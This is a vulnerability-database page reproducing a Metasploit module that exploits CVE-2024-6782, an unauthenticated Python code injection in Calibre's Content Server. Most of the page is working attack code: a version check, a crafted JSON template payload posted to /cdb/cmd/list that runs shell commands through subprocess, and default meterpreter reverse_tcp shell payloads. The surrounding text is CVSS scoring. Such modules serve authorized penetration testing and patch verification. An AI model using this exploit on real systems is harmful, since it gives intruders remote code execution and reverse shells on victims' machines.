Lucene search

K
metasploitAmos Ng, Michael HeinzlMSF:EXPLOIT-MULTI-MISC-CALIBRE_EXEC-
HistoryAug 02, 2024 - 5:03 a.m.

Calibre Python Code Injection (CVE-2024-6782)

2024-08-0205:03:15
Amos Ng, Michael Heinzl
www.rapid7.com
24
calibre
python
injection
vulnerability
content server
tcp port 8080
authentication
payload
windows
linux
unix
metasploit
exploit
remote
http
executed payload
command
cve-2024-6782
discovery
poc
url
disclosure date
stability
reliability
sideeffects
version
shell

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.5

Confidence

Low

EPSS

0.002

Percentile

59.7%

This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
        'Description' => %q{
          This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Amos Ng', # Discovery & PoC
          'Michael Heinzl', # MSF exploit
        ],
        'References' => [
          [ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
          [ 'CVE', '2024-6782']
        ],
        'DisclosureDate' => '2024-07-31',
        'Platform' => ['win', 'linux', 'unix'],
        'Arch' => [ ARCH_CMD ],

        'Payload' => {
          'BadChars' => '\\'
        },

        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'CURL',
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
              },
              'Type' => :win_fetch
            }
          ],
          [
            'Linux Command',
            {
              'Platform' => [ 'unix', 'linux' ],
              'Arch' => ARCH_CMD,
              'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],

        ],
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080)
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path)
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    end

    if res && res.code == 200
      data = res.body.to_s
      pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/

      version = data.match(pattern)

      if version[1].nil?
        return CheckCode::Unknown
      else
        vprint_status('Version retrieved: ' + version[1].to_s)
      end

      if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))
        return CheckCode::Appears
      else
        return CheckCode::Safe
      end
    else
      return CheckCode::Unknown
    end
  end

  def exploit
    execute_command(payload.encoded)
  end

  def execute_command(cmd)
    print_status('Sending payload...')
    exec_calibre(cmd)
    print_status('Exploit finished, check thy shell.')
  end

  def exec_calibre(cmd)
    payload = '['\
    '["template"], '\
    '"", '\
    '"", '\
    '"", '\
    '1,'\
    '"python:def evaluate(a, b):\\n '\
     'import subprocess\\n '\
      'try:\\n  '\
        "return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\
      'except Exception:\\n  '\
        "return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\
    ']'

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => payload,
      'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
    })

    if res && res.code == 200
      print_good('Command successfully executed, check your shell.')
    elsif res && res.code == 400
      fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')
    end
  end

end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.5

Confidence

Low

EPSS

0.002

Percentile

59.7%